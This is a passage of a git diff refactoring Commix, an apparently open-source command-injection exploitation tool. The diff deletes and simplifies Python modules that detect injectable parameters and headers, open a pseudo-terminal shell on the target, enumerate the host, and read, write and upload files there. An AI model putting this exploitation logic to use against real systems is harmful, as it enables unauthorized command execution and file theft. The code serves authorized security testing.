menu.enumeration_options(): - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py deleted file mode 100755 index 0a60b909fe..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ /dev/null @@ -1,133 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.core.requests import requests -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.eval_based import eb_injector - -""" - The dynamic code evaluation (aka eval-based) technique. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = checks.change_dir(dest_to_write) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - eb_injector.injection_results(response, TAG, cmd) - cmd = checks.delete_tmp(tmp_fname) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - eb_injector.injection_results(response, TAG, cmd) - else: - cmd = checks.write_content(content, dest_to_write) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, dest_to_upload = checks.check_file_to_upload() - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 2eac2f668f..5738dde6f1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -13,29 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -import os -import re -import sys -import time -import string -import random -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import common -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.core.injections.results_based.techniques.eval_based import eb_injector -from src.core.injections.results_based.techniques.eval_based import eb_payloads -from src.core.injections.results_based.techniques.eval_based import eb_enumeration -from src.core.injections.results_based.techniques.eval_based import eb_file_access +from src.core.injections.controller import handler """ The dynamic code evaluation (aka eval-based) technique. @@ -45,286 +23,13 @@ The "eval-based" injection technique handler. """ def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - - shell = False - counter = 1 - vp_flag = True - no_result = True - export_injection_info = False - - for item in range(0, len(settings.EXECUTION_FUNCTIONS)): - settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" - settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS - - checks.testing_technique_title(injection_type, technique) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.EVAL_PREFIXES: - for suffix in settings.EVAL_SUFFIXES: - for separator in settings.EVAL_SEPARATORS: - if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.EVAL_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - except TypeError: - checks.error_loading_session_file() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) - checks.testing_technique_title(injection_type, technique) - - if not settings.LOAD_SESSION: - i = i + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - randv1 = random.randrange(100) - randv2 = random.randrange(100) - randvcalc = randv1 + randv2 - - # Define alter shell - alter_shell = menu.options.alter_shell - - try: - if alter_shell: - # Classic -alter shell- decision payload (check if host is vulnerable). - payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) - else: - # Classic decision payload (check if host is vulnerable). - payload = eb_payloads.decision(separator, TAG, randv1, randv2) - - # suffix = _urllib.parse.quote(suffix) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Fixation for specific payload. - if ")%3B" + ")}" in payload: - payload = payload.replace(")%3B" +")}", ")" + ")}") - #payload = payload + TAG + "" - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - payload = payload.replace(settings.SINGLE_WHITESPACE, "%20") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = eb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = eb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = eb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - found_cookie_injection = False - # Check if target host is vulnerable. - response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate test results. - time.sleep(timesec) - shell = eb_injector.injection_test_results(response, TAG, randvcalc) - if settings.VERBOSITY_LEVEL == 0: - percent, float_percent = checks.percentage_calculation(i, total) - percent = checks.print_percentage(float_percent, no_result, shell) - checks.injection_process(injection_type, technique, percent) - - except (KeyboardInterrupt, SystemExit): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - except: - continue - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Check for any enumeration options. - eb_enumeration.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check for any system file access options. - eb_file_access.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check if defined single cmd. - if menu.options.os_cmd: - eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - # The main command injection exploitation. - time.sleep(timesec) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - if menu.options.ignore_session or\ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - if shell or shell != "": - shell = "".join(str(p) for p in shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - settings.print_data_to_stdout(settings.command_execution_output(shell)) - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(gotshell) - pass - - except (KeyboardInterrupt, SystemExit): - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - + return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, injection_type, technique): - if eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False: - return False + return eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index ab2b6665ce..a97af1d338 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -13,256 +13,29 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import json -import string -import random -from src.utils import menu -from src.utils import settings -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.eval_based import eb_payloads +from src.core.injections.controller import injector """ The dynamic code evaluation (aka eval-based) technique. """ -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Get the response of the request - response = requests.get_request_response(request) - - return response, vuln_parameter - """ Evaluate test results. """ -def injection_test_results(response, TAG, randvcalc): - if type(response) is bool and response != True or response is None: - return False - else: - html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data) - if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) - else: - shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) - return shell - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) +def injection_test_results(response, TAG, randvcalc, technique): + return injector.injection_test_results(response, TAG, randvcalc, technique) """ The main command injection exploitation. """ -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - - def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - # Execute shell commands on vulnerable host. - if alter_shell: - payload = eb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) - else: - payload = eb_payloads.cmd_execution(separator, TAG, cmd) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - # Fixation for specific payload. - if ")%3B" + _urllib.parse.quote(")}") in payload: - payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}")) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - return response - - # Do the injection check - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = 0 - while not response: - if tries < (menu.options.failed_tries / 2): - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = tries + 1 - else: - err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - return response +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + OUTPUT_TEXTFILE = "" + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) """ -Command execution results. +The command execution results. """ -def injection_results(response, TAG, cmd): - new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - # Grab execution results - html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", new_line, html_data) - shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) - try: - if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: - shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \ - re.split(TAG + "(.*)" + TAG, \ - re.split(TAG + "(.*)" + TAG, shell[0])[0])[0]) - shell = shell[0].replace(new_line, "\n").rstrip().lstrip() - except IndexError: - pass - return shell - +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + url = OUTPUT_TEXTFILE = timesec = "" + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py deleted file mode 100755 index a6feb38f4e..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ /dev/null @@ -1,298 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_handler -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = cmd = checks.quoted_cmd(cmd) - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - ps_version = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname enumeration -""" -def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, 